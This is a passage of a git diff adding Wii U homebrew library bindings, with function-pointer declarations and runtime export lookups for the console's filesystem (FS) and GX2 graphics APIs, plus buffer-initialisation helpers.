+EXPORT_DECL(int, FSMakeDirAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams); + +EXPORT_DECL(int, FSOpenFile, void *pClient, void *pCmd, const char *path, const char *mode, int *fd, int errHandling); +EXPORT_DECL(int, FSOpenFileAsync, void *pClient, void *pCmd, const char *path, const char *mode, int *handle, int error, const void *asyncParams); +EXPORT_DECL(int, FSReadFile, void *pClient, void *pCmd, void *buffer, int size, int count, int fd, int flag, int errHandling); +EXPORT_DECL(int, FSCloseFile, void *pClient, void *pCmd, int fd, int errHandling); + +EXPORT_DECL(int, FSFlushFile, void *pClient, void *pCmd, int fd, int error); +EXPORT_DECL(int, FSTruncateFile, void *pClient, void *pCmd, int fd, int error); +EXPORT_DECL(int, FSGetStatFile, void *pClient, void *pCmd, int fd, void *buffer, int error); +EXPORT_DECL(int, FSSetPosFile, void *pClient, void *pCmd, int fd, int pos, int error); +EXPORT_DECL(int, FSWriteFile, void *pClient, void *pCmd, const void *source, int block_size, int block_count, int fd, int flag, int error); + +EXPORT_DECL(int, FSBindMount, void *pClient, void *pCmd, char *source, char *target, int error); +EXPORT_DECL(int, FSBindUnmount, void *pClient, void *pCmd, char *target, int error); + +EXPORT_DECL(int, FSMakeQuota, void *pClient, void *pCmd, const char *path,u32 mode, u64 size, int errHandling); +EXPORT_DECL(int, FSMakeQuotaAsync ,void *pClient, void *pCmd, const char *path,u32 mode, u64 size, int errHandling,const void *asyncParams); + +void InitFSFunctionPointers(void) +{ + unsigned int *funcPointer = 0; + + OS_FIND_EXPORT(coreinit_handle, FSInit); + OS_FIND_EXPORT(coreinit_handle, FSShutdown); + OS_FIND_EXPORT(coreinit_handle, FSAddClientEx); + OS_FIND_EXPORT(coreinit_handle, FSDelClient); + OS_FIND_EXPORT(coreinit_handle, FSInitCmdBlock); + OS_FIND_EXPORT(coreinit_handle, FSGetMountSource); + + OS_FIND_EXPORT(coreinit_handle, FSMount); + OS_FIND_EXPORT(coreinit_handle, FSUnmount); + + OS_FIND_EXPORT(coreinit_handle, FSGetStat); + OS_FIND_EXPORT(coreinit_handle, FSGetStatAsync); + OS_FIND_EXPORT(coreinit_handle, FSRename); + OS_FIND_EXPORT(coreinit_handle, FSRenameAsync); + OS_FIND_EXPORT(coreinit_handle, FSRemove); + OS_FIND_EXPORT(coreinit_handle, FSRemoveAsync); + OS_FIND_EXPORT(coreinit_handle, FSFlushQuota); + OS_FIND_EXPORT(coreinit_handle, FSFlushQuotaAsync); + OS_FIND_EXPORT(coreinit_handle, FSGetFreeSpaceSize); + OS_FIND_EXPORT(coreinit_handle, FSGetFreeSpaceSizeAsync); + OS_FIND_EXPORT(coreinit_handle, FSRollbackQuota); + OS_FIND_EXPORT(coreinit_handle, FSRollbackQuotaAsync); + + OS_FIND_EXPORT(coreinit_handle, FSOpenDir); + OS_FIND_EXPORT(coreinit_handle, FSOpenDirAsync); + OS_FIND_EXPORT(coreinit_handle, FSReadDir); + OS_FIND_EXPORT(coreinit_handle, FSRewindDir); + OS_FIND_EXPORT(coreinit_handle, FSCloseDir); + OS_FIND_EXPORT(coreinit_handle, FSChangeDir); + OS_FIND_EXPORT(coreinit_handle, FSChangeDirAsync); + OS_FIND_EXPORT(coreinit_handle, FSMakeDir); + OS_FIND_EXPORT(coreinit_handle, FSMakeDirAsync); + + + OS_FIND_EXPORT(coreinit_handle, FSOpenFile); + OS_FIND_EXPORT(coreinit_handle, FSOpenFileAsync); + OS_FIND_EXPORT(coreinit_handle, FSReadFile); + OS_FIND_EXPORT(coreinit_handle, FSCloseFile); + + OS_FIND_EXPORT(coreinit_handle, FSFlushFile); + OS_FIND_EXPORT(coreinit_handle, FSTruncateFile); + OS_FIND_EXPORT(coreinit_handle, FSGetStatFile); + OS_FIND_EXPORT(coreinit_handle, FSSetPosFile); + OS_FIND_EXPORT(coreinit_handle, FSWriteFile); + + OS_FIND_EXPORT(coreinit_handle, FSBindMount); + OS_FIND_EXPORT(coreinit_handle, FSBindUnmount); + + OS_FIND_EXPORT(coreinit_handle, FSMakeQuota); + OS_FIND_EXPORT(coreinit_handle, FSMakeQuotaAsync); +} diff --git a/installer/src/dynamic_libs/fs_functions.h b/installer/src/dynamic_libs/fs_functions.h new file mode 100644 index 0000000..d024655 --- /dev/null +++ b/installer/src/dynamic_libs/fs_functions.h @@ -0,0 +1,95 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef __FS_FUNCTIONS_H_ +#define __FS_FUNCTIONS_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +#include +#include "fs_defs.h" + +void InitFSFunctionPointers(void); + +extern int (* FSInit)(void); +extern int (* FSShutdown)(void); +extern int (* FSAddClientEx)(void *pClient, int unk_zero_param, int errHandling); +extern int (* FSDelClient)(void *pClient); +extern void (* FSInitCmdBlock)(void *pCmd); +extern int (* FSGetMountSource)(void *pClient, void *pCmd, int type, void *source, int errHandling); + +extern int (* FSMount)(void *pClient, void *pCmd, void *source, char *target, uint32_t bytes, int errHandling); +extern int (* FSUnmount)(void *pClient, void *pCmd, const char *target, int errHandling); +extern int (* FSRename)(void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error); +extern int (* FSRenameAsync)(void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error, void *asyncParams); +extern int (* FSRemove)(void *pClient, void *pCmd, const char *path, int error); +extern int (* FSRemoveAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams); + +extern int (* FSGetStat)(void *pClient, void *pCmd, const char *path, FSStat *stats, int errHandling); +extern int (* FSGetStatAsync)(void *pClient, void *pCmd, const char *path, void *stats, int error, void *asyncParams); +extern int (* FSRename)(void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error); +extern int (* FSRenameAsync)(void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error, void *asyncParams); +extern int (* FSRemove)(void *pClient, void *pCmd, const char *path, int error); +extern int (* FSRemoveAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams); +extern int (* FSFlushQuota)(void *pClient, void *pCmd, const char* path, int error); +extern int (* FSFlushQuotaAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams); +extern int (* FSGetFreeSpaceSize)(void *pClient, void *pCmd, const char *path, uint64_t *returnedFreeSize, int error); +extern int (* FSGetFreeSpaceSizeAsync)(void *pClient, void *pCmd, const char *path, uint64_t *returnedFreeSize, int error, void *asyncParams); +extern int (* FSRollbackQuota)(void *pClient, void *pCmd, const char *path, int error); +extern int (* FSRollbackQuotaAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams); + +extern int (* FSOpenDir)(void *pClient, void *pCmd, const char *path, int *dh, int errHandling); +extern int (* FSOpenDirAsync)(void *pClient, void* pCmd, const char *path, int *handle, int error, void *asyncParams); +extern int (* FSReadDir)(void *pClient, void *pCmd, int dh, FSDirEntry *dir_entry, int errHandling); +extern int (* FSRewindDir)(void *pClient, void *pCmd, int dh, int errHandling); +extern int (* FSCloseDir)(void *pClient, void *pCmd, int dh, int errHandling); +extern int (* FSChangeDir)(void *pClient, void *pCmd, const char *path, int errHandling); +extern int (* FSChangeDirAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams); +extern int (* FSMakeDir)(void *pClient, void *pCmd, const char *path, int errHandling); +extern int (* FSMakeDirAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams); + +extern int (* FSOpenFile)(void *pClient, void *pCmd, const char *path, const char *mode, int *fd, int errHandling); +extern int (* FSOpenFileAsync)(void *pClient, void *pCmd, const char *path, const char *mode, int *handle, int error, const void *asyncParams); +extern int (* FSReadFile)(void *pClient, void *pCmd, void *buffer, int size, int count, int fd, int flag, int errHandling); +extern int (* FSCloseFile)(void *pClient, void *pCmd, int fd, int errHandling); + +extern int (* FSFlushFile)(void *pClient, void *pCmd, int fd, int error); +extern int (* FSTruncateFile)(void *pClient, void *pCmd, int fd, int error); +extern int (* FSGetStatFile)(void *pClient, void *pCmd, int fd, void *buffer, int error); +extern int (* FSSetPosFile)(void *pClient, void *pCmd, int fd, int pos, int error); +extern int (* FSWriteFile)(void *pClient, void *pCmd, const void *source, int block_size, int block_count, int fd, int flag, int error); + +extern int (* FSBindMount)(void *pClient, void *pCmd, char *source, char *target, int error); +extern int (* FSBindUnmount)(void *pClient, void *pCmd, char *target, int error); + +extern int (* FSMakeQuota)( void *pClient, void *pCmd, const char *path,u32 mode, u64 size, int errHandling); +extern int (* FSMakeQuotaAsync)(void *pClient, void *pCmd, const char *path,u32 mode, u64 size, int errHandling,const void *asyncParams); + + +#ifdef __cplusplus +} +#endif + +#endif // __FS_FUNCTIONS_H_ diff --git a/installer/src/dynamic_libs/gx2_functions.c b/installer/src/dynamic_libs/gx2_functions.c new file mode 100644 index 0000000..a34807e --- /dev/null +++ b/installer/src/dynamic_libs/gx2_functions.c @@ -0,0 +1,173 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include "os_functions.h" +#include "gx2_types.h" + +unsigned int gx2_handle __attribute__((section(".data"))) = 0; + +EXPORT_DECL(void, GX2Init, u32 * init_attribs); +EXPORT_DECL(void, GX2Shutdown, void); +EXPORT_DECL(void, GX2Flush, void); +EXPORT_DECL(s32, GX2GetMainCoreId, void) ; +EXPORT_DECL(s32, GX2DrawDone, void); +EXPORT_DECL(void, GX2ClearColor, GX2ColorBuffer *colorBuffer, f32 r, f32 g, f32 b, f32 a); +EXPORT_DECL(void, GX2SetViewport, f32 x, f32 y, f32 w, f32 h, f32 nearZ, f32 farZ); +EXPORT_DECL(void, GX2SetScissor, u32 x_orig, u32 y_orig, u32 wd, u32 ht); +EXPORT_DECL(void, GX2SetContextState, const GX2ContextState* state); +EXPORT_DECL(void, GX2DrawEx, s32 primitive_type, u32 count, u32 first_vertex, u32 instances_count); +EXPORT_DECL(void, GX2DrawIndexedEx, s32 primitive_type, u32 count, s32 index_format, const void* idx, u32 first_vertex, u32 instances_count); +EXPORT_DECL(void, GX2ClearDepthStencilEx, GX2DepthBuffer *depthBuffer, f32 depth_value, u8 stencil_value, s32 clear_mode); +EXPORT_DECL(void, GX2SetClearDepthStencil, GX2DepthBuffer *depthBuffer, f32 depth_value, u8 stencil_value); +EXPORT_DECL(void, GX2CopyColorBufferToScanBuffer, const GX2ColorBuffer *colorBuffer, s32 scan_target); +EXPORT_DECL(void, GX2SwapScanBuffers, void); +EXPORT_DECL(void, GX2SetTVEnable, s32 enable); +EXPORT_DECL(void, GX2SetSwapInterval, u32 swap_interval); +EXPORT_DECL(u32, GX2GetSwapInterval, void); +EXPORT_DECL(void, GX2WaitForVsync, void); +EXPORT_DECL(void, GX2CalcTVSize, s32 tv_render_mode, s32 format, s32 buffering_mode, u32 * size, s32 * scale_needed); +EXPORT_DECL(void, GX2Invalidate, s32 invalidate_type, void * ptr, u32 buffer_size); +EXPORT_DECL(void, GX2SetTVBuffer, void *buffer, u32 buffer_size, s32 tv_render_mode, s32 format, s32 buffering_mode); +EXPORT_DECL(void, GX2CalcSurfaceSizeAndAlignment, GX2Surface *surface); +EXPORT_DECL(void, GX2InitDepthBufferRegs, GX2DepthBuffer *depthBuffer); +EXPORT_DECL(void, GX2InitColorBufferRegs, GX2ColorBuffer *colorBuffer); +EXPORT_DECL(void, GX2CalcColorBufferAuxInfo, GX2ColorBuffer *colorBuffer, u32 *size, u32 *align); +EXPORT_DECL(void, GX2CalcDepthBufferHiZInfo, GX2DepthBuffer *depthBuffer, u32 *size, u32 *align); +EXPORT_DECL(void, GX2InitDepthBufferHiZEnable, GX2DepthBuffer *depthBuffer, s32 hiZ_enable); +EXPORT_DECL(void, GX2SetupContextStateEx, GX2ContextState* state, s32 enable_profiling); +EXPORT_DECL(void, GX2SetColorBuffer, const GX2ColorBuffer *colorBuffer, s32 target); +EXPORT_DECL(void, GX2SetDepthBuffer, const GX2DepthBuffer *depthBuffer); +EXPORT_DECL(void, GX2SetAttribBuffer, u32 attr_index, u32 attr_size, u32 stride, const void* attr); +EXPORT_DECL(void, GX2InitTextureRegs, GX2Texture *texture); +EXPORT_DECL(void, GX2InitSampler, GX2Sampler *sampler, s32 tex_clamp, s32 min_mag_filter); +EXPORT_DECL(u32, GX2CalcFetchShaderSizeEx, u32 num_attrib, s32 fetch_shader_type, s32 tessellation_mode); +EXPORT_DECL(void, GX2InitFetchShaderEx, GX2FetchShader* fs, void* fs_buffer, u32 count, const GX2AttribStream* attribs, s32 fetch_shader_type, s32 tessellation_mode); +EXPORT_DECL(void, GX2SetFetchShader, const GX2FetchShader* fs); +EXPORT_DECL(void, GX2SetVertexUniformReg, u32 offset, u32 count, const void *values); +EXPORT_DECL(void, GX2SetPixelUniformReg, u32 offset, u32 count, const void *values); +EXPORT_DECL(void, GX2SetPixelTexture, const GX2Texture *texture, u32 texture_hw_location); +EXPORT_DECL(void, GX2SetVertexTexture, const GX2Texture *texture, u32 texture_hw_location); +EXPORT_DECL(void, GX2SetPixelSampler, const GX2Sampler *sampler, u32 sampler_hw_location); +EXPORT_DECL(void, GX2SetVertexSampler, const GX2Sampler *sampler, u32 sampler_hw_location); +EXPORT_DECL(void, GX2SetPixelShader, const GX2PixelShader* pixelShader); +EXPORT_DECL(void, GX2SetVertexShader, const GX2VertexShader* vertexShader); +EXPORT_DECL(void, GX2InitSamplerZMFilter, GX2Sampler *sampler, s32 z_filter, s32 mip_filter); +EXPORT_DECL(void, GX2SetColorControl, s32 lop, u8 blend_enable_mask, s32 enable_multi_write, s32 enable_color_buffer); +EXPORT_DECL(void, GX2SetDepthOnlyControl, s32 enable_depth, s32 enable_depth_write, s32 depth_comp_function); +EXPORT_DECL(void, GX2SetBlendControl, s32 target, s32 color_src_blend, s32 color_dst_blend, s32 color_combine, s32 separate_alpha_blend, s32 alpha_src_blend, s32 alpha_dst_blend, s32 alpha_combine); +EXPORT_DECL(void, GX2CalcDRCSize, s32 drc_mode, s32 format, s32 buffering_mode, u32 *size, s32 *scale_needed); +EXPORT_DECL(void, GX2SetDRCBuffer, void *buffer, u32 buffer_size, s32 drc_mode, s32 surface_format, s32 buffering_mode); +EXPORT_DECL(void, GX2SetDRCScale, u32 width, u32 height); +EXPORT_DECL(void, GX2SetDRCEnable, s32 enable); +EXPORT_DECL(void, GX2SetPolygonControl, s32 front_face_mode, s32 cull_front, s32 cull_back, s32 enable_mode, s32 mode_font, s32 mode_back, s32 poly_offset_front, s32 poly_offset_back, s32 point_line_offset); +EXPORT_DECL(void, GX2SetCullOnlyControl, s32 front_face_mode, s32 cull_front, s32 cull_back); +EXPORT_DECL(void, GX2SetDepthStencilControl, s32 enable_depth_test, s32 enable_depth_write, s32 depth_comp_function, s32 stencil_test_enable, s32 back_stencil_enable, + s32 font_stencil_func, s32 front_stencil_z_pass, s32 front_stencil_z_fail, s32 front_stencil_fail, + s32 back_stencil_func, s32 back_stencil_z_pass, s32 back_stencil_z_fail, s32 back_stencil_fail); +EXPORT_DECL(void, GX2SetStencilMask, u8 mask_front, u8 write_mask_front, u8 ref_front, u8 mask_back, u8 write_mask_back, u8 ref_back); +EXPORT_DECL(void, GX2SetLineWidth, f32 width); +EXPORT_DECL(void, GX2SetTVGamma, f32 val); +EXPORT_DECL(void, GX2SetDRCGamma, f32 gam); +EXPORT_DECL(s32, GX2GetSystemTVScanMode, void); +EXPORT_DECL(s32, GX2GetSystemDRCScanMode, void); +EXPORT_DECL(void, GX2RSetAllocator, void * (* allocFunc)(u32, u32, u32), void (* freeFunc)(u32, void*)); +EXPORT_DECL(void, GX2CopySurface, GX2Surface * srcSurface,u32 srcMip,u32 srcSlice,GX2Surface * dstSurface,u32 dstMip,u32 dstSlice ); + +EXPORT_DECL(void, GX2ClearBuffersEx, GX2ColorBuffer * colorBuffer,GX2DepthBuffer * depthBuffer,f32 r, f32 g, f32 b, f32 a,f32 depthValue,u8 stencilValue,int clearFlags); + +void InitAcquireGX2(void) +{ + OSDynLoad_Acquire("gx2.rpl", &gx2_handle); +} + +void InitGX2FunctionPointers(void) +{ + unsigned int *funcPointer = 0; + InitAcquireGX2(); + + OS_FIND_EXPORT(gx2_handle, GX2Init); + OS_FIND_EXPORT(gx2_handle, GX2Shutdown); + OS_FIND_EXPORT(gx2_handle, GX2Flush); + OS_FIND_EXPORT(gx2_handle, GX2GetMainCoreId); + OS_FIND_EXPORT(gx2_handle, GX2DrawDone); + OS_FIND_EXPORT(gx2_handle, GX2ClearColor); + OS_FIND_EXPORT(gx2_handle, GX2SetViewport); + OS_FIND_EXPORT(gx2_handle, GX2SetScissor); + OS_FIND_EXPORT(gx2_handle, GX2SetContextState); + OS_FIND_EXPORT(gx2_handle, GX2DrawEx); + OS_FIND_EXPORT(gx2_handle, GX2DrawIndexedEx); + OS_FIND_EXPORT(gx2_handle, GX2ClearDepthStencilEx); + OS_FIND_EXPORT(gx2_handle, GX2CopyColorBufferToScanBuffer); + OS_FIND_EXPORT(gx2_handle, GX2SwapScanBuffers); + OS_FIND_EXPORT(gx2_handle, GX2SetTVEnable); + OS_FIND_EXPORT(gx2_handle, GX2SetSwapInterval); + OS_FIND_EXPORT(gx2_handle, GX2GetSwapInterval); + OS_FIND_EXPORT(gx2_handle, GX2WaitForVsync); + OS_FIND_EXPORT(gx2_handle, GX2CalcTVSize); + OS_FIND_EXPORT(gx2_handle, GX2Invalidate); + OS_FIND_EXPORT(gx2_handle, GX2SetTVBuffer); + OS_FIND_EXPORT(gx2_handle, GX2CalcSurfaceSizeAndAlignment); + OS_FIND_EXPORT(gx2_handle, GX2InitDepthBufferRegs); + OS_FIND_EXPORT(gx2_handle, GX2InitColorBufferRegs); + OS_FIND_EXPORT(gx2_handle, GX2CalcColorBufferAuxInfo); + OS_FIND_EXPORT(gx2_handle, GX2CalcDepthBufferHiZInfo); + OS_FIND_EXPORT(gx2_handle, GX2InitDepthBufferHiZEnable); + OS_FIND_EXPORT(gx2_handle, GX2SetupContextStateEx); + OS_FIND_EXPORT(gx2_handle, GX2SetColorBuffer); + OS_FIND_EXPORT(gx2_handle, GX2SetDepthBuffer); + OS_FIND_EXPORT(gx2_handle, GX2SetAttribBuffer); + OS_FIND_EXPORT(gx2_handle, GX2InitTextureRegs); + OS_FIND_EXPORT(gx2_handle, GX2InitSampler); + OS_FIND_EXPORT(gx2_handle, GX2CalcFetchShaderSizeEx); + OS_FIND_EXPORT(gx2_handle, GX2InitFetchShaderEx); + OS_FIND_EXPORT(gx2_handle, GX2SetFetchShader); + OS_FIND_EXPORT(gx2_handle, GX2SetVertexUniformReg); + OS_FIND_EXPORT(gx2_handle, GX2SetPixelUniformReg); + OS_FIND_EXPORT(gx2_handle, GX2SetPixelTexture); + OS_FIND_EXPORT(gx2_handle, GX2SetVertexTexture); + OS_FIND_EXPORT(gx2_handle, GX2SetPixelSampler); + OS_FIND_EXPORT(gx2_handle, GX2SetVertexSampler); + OS_FIND_EXPORT(gx2_handle, GX2SetPixelShader); + OS_FIND_EXPORT(gx2_handle, GX2SetVertexShader); + OS_FIND_EXPORT(gx2_handle, GX2InitSamplerZMFilter); + OS_FIND_EXPORT(gx2_handle, GX2SetColorControl); + OS_FIND_EXPORT(gx2_handle, GX2SetDepthOnlyControl); + OS_FIND_EXPORT(gx2_handle, GX2SetBlendControl); + OS_FIND_EXPORT(gx2_handle, GX2CalcDRCSize); + OS_FIND_EXPORT(gx2_handle, GX2SetDRCBuffer); + OS_FIND_EXPORT(gx2_handle, GX2SetDRCScale); + OS_FIND_EXPORT(gx2_handle, GX2SetDRCEnable); + OS_FIND_EXPORT(gx2_handle, GX2SetPolygonControl); + OS_FIND_EXPORT(gx2_handle, GX2SetCullOnlyControl); + OS_FIND_EXPORT(gx2_handle, GX2SetDepthStencilControl); + OS_FIND_EXPORT(gx2_handle, GX2SetStencilMask); + OS_FIND_EXPORT(gx2_handle, GX2SetLineWidth); + OS_FIND_EXPORT(gx2_handle, GX2SetDRCGamma); + OS_FIND_EXPORT(gx2_handle, GX2SetTVGamma); + OS_FIND_EXPORT(gx2_handle, GX2GetSystemTVScanMode); + OS_FIND_EXPORT(gx2_handle, GX2GetSystemDRCScanMode); + OS_FIND_EXPORT(gx2_handle, GX2RSetAllocator); + OS_FIND_EXPORT(gx2_handle, GX2CopySurface); + OS_FIND_EXPORT(gx2_handle, GX2ClearBuffersEx); + OS_FIND_EXPORT(gx2_handle, GX2SetClearDepthStencil); +} diff --git a/installer/src/dynamic_libs/gx2_functions.h b/installer/src/dynamic_libs/gx2_functions.h new file mode 100644 index 0000000..0b06826 --- /dev/null +++ b/installer/src/dynamic_libs/gx2_functions.h @@ -0,0 +1,211 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef __GX2_FUNCTIONS_H_ +#define __GX2_FUNCTIONS_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +#include "gx2_types.h" + +extern unsigned int gx2_handle; + +void InitGX2FunctionPointers(void); +void InitAcquireGX2(void); + +extern void (* GX2Init)(u32 * init_attribs); +extern void (* GX2Shutdown)(void); +extern void (* GX2Flush)(void); +extern s32 (* GX2GetMainCoreId)(void) ; +extern s32 (* GX2DrawDone)(void); +extern void (* GX2ClearColor)(GX2ColorBuffer *colorBuffer, f32 r, f32 g, f32 b, f32 a); +extern void (* GX2SetViewport)(f32 x, f32 y, f32 w, f32 h, f32 nearZ, f32 farZ); +extern void (* GX2SetScissor)(u32 x_orig, u32 y_orig, u32 wd, u32 ht); +extern void (* GX2SetContextState)(const GX2ContextState* state); +extern void (* GX2DrawEx)(s32 primitive_type, u32 count, u32 first_vertex, u32 instances_count); +extern void (* GX2DrawIndexedEx)(s32 primitive_type, u32 count, s32 index_format, const void* idx, u32 first_vertex, u32 instances_count); +extern void (* GX2ClearDepthStencilEx)(GX2DepthBuffer *depthBuffer, f32 depth_value, u8 stencil_value, s32 clear_mode); +extern void (* GX2SetClearDepthStencil)(GX2DepthBuffer *depthBuffer, f32 depth_value, u8 stencil_value); +extern void (* GX2CopyColorBufferToScanBuffer)(const GX2ColorBuffer *colorBuffer, s32 scan_target); +extern void (* GX2SwapScanBuffers)(void); +extern void (* GX2SetTVEnable)(s32 enable); +extern void (* GX2SetSwapInterval)(u32 swap_interval); +extern u32 (* GX2GetSwapInterval)(void); +extern void (* GX2WaitForVsync)(void); +extern void (* GX2CalcTVSize)(s32 tv_render_mode, s32 format, s32 buffering_mode, u32 * size, s32 * scale_needed); +extern void (* GX2Invalidate)(s32 invalidate_type, void * ptr, u32 buffer_size); +extern void (* GX2SetTVBuffer)(void *buffer, u32 buffer_size, s32 tv_render_mode, s32 format, s32 buffering_mode); +extern void (* GX2CalcSurfaceSizeAndAlignment)(GX2Surface *surface); +extern void (* GX2InitDepthBufferRegs)(GX2DepthBuffer *depthBuffer); +extern void (* GX2InitColorBufferRegs)(GX2ColorBuffer *colorBuffer); +extern void (* GX2CalcColorBufferAuxInfo)(GX2ColorBuffer *colorBuffer, u32 *size, u32 *align); +extern void (* GX2CalcDepthBufferHiZInfo)(GX2DepthBuffer *depthBuffer, u32 *size, u32 *align); +extern void (* GX2InitDepthBufferHiZEnable)(GX2DepthBuffer *depthBuffer, s32 hiZ_enable); +extern void (* GX2SetupContextStateEx)(GX2ContextState* state, s32 enable_profiling); +extern void (* GX2SetColorBuffer)(const GX2ColorBuffer *colorBuffer, s32 target); +extern void (* GX2SetDepthBuffer)(const GX2DepthBuffer *depthBuffer); +extern void (* GX2SetAttribBuffer)(u32 attr_index, u32 attr_size, u32 stride, const void* attr); +extern void (* GX2InitTextureRegs)(GX2Texture *texture); +extern void (* GX2InitSampler)(GX2Sampler *sampler, s32 tex_clamp, s32 min_mag_filter); +extern u32 (* GX2CalcFetchShaderSizeEx)(u32 num_attrib, s32 fetch_shader_type, s32 tessellation_mode); +extern void (* GX2InitFetchShaderEx)(GX2FetchShader* fs, void* fs_buffer, u32 count, const GX2AttribStream* attribs, s32 fetch_shader_type, s32 tessellation_mode); +extern void (* GX2SetFetchShader)(const GX2FetchShader* fs); +extern void (* GX2SetVertexUniformReg)(u32 offset, u32 count, const void *values); +extern void (* GX2SetPixelUniformReg)(u32 offset, u32 count, const void *values); +extern void (* GX2SetPixelTexture)(const GX2Texture *texture, u32 texture_hw_location); +extern void (* GX2SetVertexTexture)(const GX2Texture *texture, u32 texture_hw_location); +extern void (* GX2SetPixelSampler)(const GX2Sampler *sampler, u32 sampler_hw_location); +extern void (* GX2SetVertexSampler)(const GX2Sampler *sampler, u32 sampler_hw_location); +extern void (* GX2SetPixelShader)(const GX2PixelShader* pixelShader); +extern void (* GX2SetVertexShader)(const GX2VertexShader* vertexShader); +extern void (* GX2InitSamplerZMFilter)(GX2Sampler *sampler, s32 z_filter, s32 mip_filter); +extern void (* GX2SetColorControl)(s32 lop, u8 blend_enable_mask, s32 enable_multi_write, s32 enable_color_buffer); +extern void (* GX2SetDepthOnlyControl)(s32 enable_depth, s32 enable_depth_write, s32 depth_comp_function); +extern void (* GX2SetBlendControl)(s32 target, s32 color_src_blend, s32 color_dst_blend, s32 color_combine, s32 separate_alpha_blend, s32 alpha_src_blend, s32 alpha_dst_blend, s32 alpha_combine); +extern void (* GX2CalcDRCSize)(s32 drc_mode, s32 format, s32 buffering_mode, u32 *size, s32 *scale_needed); +extern void (* GX2SetDRCBuffer)(void *buffer, u32 buffer_size, s32 drc_mode, s32 surface_format, s32 buffering_mode); +extern void (* GX2SetDRCScale)(u32 width, u32 height); +extern void (* GX2SetDRCEnable)(s32 enable); +extern void (* GX2SetPolygonControl)(s32 front_face_mode, s32 cull_front, s32 cull_back, s32 enable_mode, s32 mode_font, s32 mode_back, s32 poly_offset_front, s32 poly_offset_back, s32 point_line_offset); +extern void (* GX2SetCullOnlyControl)(s32 front_face_mode, s32 cull_front, s32 cull_back); +extern void (* GX2SetDepthStencilControl)(s32 enable_depth_test, s32 enable_depth_write, s32 depth_comp_function, s32 stencil_test_enable, s32 back_stencil_enable, + s32 font_stencil_func, s32 front_stencil_z_pass, s32 front_stencil_z_fail, s32 front_stencil_fail, + s32 back_stencil_func, s32 back_stencil_z_pass, s32 back_stencil_z_fail, s32 back_stencil_fail); +extern void (* GX2SetStencilMask)(u8 mask_front, u8 write_mask_front, u8 ref_front, u8 mask_back, u8 write_mask_back, u8 ref_back); +extern void (* GX2SetLineWidth)(f32 width); +extern void (* GX2SetTVGamma)(f32 val); +extern void (* GX2SetDRCGamma)(f32 val); +extern s32 (* GX2GetSystemTVScanMode)(void); +extern s32 (* GX2GetSystemDRCScanMode)(void); +extern void (* GX2RSetAllocator)(void * (*allocFunc)(u32, u32, u32), void (*freeFunc)(u32, void*)); +extern void (* GX2CopySurface)(GX2Surface * srcSurface,u32 srcMip,u32 srcSlice,GX2Surface * dstSurface,u32 dstMip,u32 dstSlice ); +extern void (* GX2ClearBuffersEx)(GX2ColorBuffer * colorBuffer,GX2DepthBuffer * depthBuffer,f32 r, f32 g, f32 b, f32 a,f32 depthValue,u8 stencilValue,int clearFlags); + +static inline void GX2InitDepthBuffer(GX2DepthBuffer *depthBuffer, s32 dimension, u32 width, u32 height, u32 depth, s32 format, s32 aa) +{ + depthBuffer->surface.dimension = dimension; + depthBuffer->surface.width = width; + depthBuffer->surface.height = height; + depthBuffer->surface.depth = depth; + depthBuffer->surface.num_mips = 1; + depthBuffer->surface.format = format; + depthBuffer->surface.aa = aa; + depthBuffer->surface.use = ((format==GX2_SURFACE_FORMAT_D_D24_S8_UNORM) || (format==GX2_SURFACE_FORMAT_D_D24_S8_FLOAT)) ? GX2_SURFACE_USE_DEPTH_BUFFER : GX2_SURFACE_USE_DEPTH_BUFFER_TEXTURE; + depthBuffer->surface.tile = GX2_TILE_MODE_DEFAULT; + depthBuffer->surface.swizzle = 0; + depthBuffer->view_mip = 0; + depthBuffer->view_first_slice = 0; + depthBuffer->view_slices_count = depth; + depthBuffer->clear_depth = 1.0f; + depthBuffer->clear_stencil = 0; + depthBuffer->hiZ_data = NULL; + depthBuffer->hiZ_size = 0; + GX2CalcSurfaceSizeAndAlignment(&depthBuffer->surface); + GX2InitDepthBufferRegs(depthBuffer); +} + +static inline void GX2InitColorBuffer(GX2ColorBuffer *colorBuffer, s32 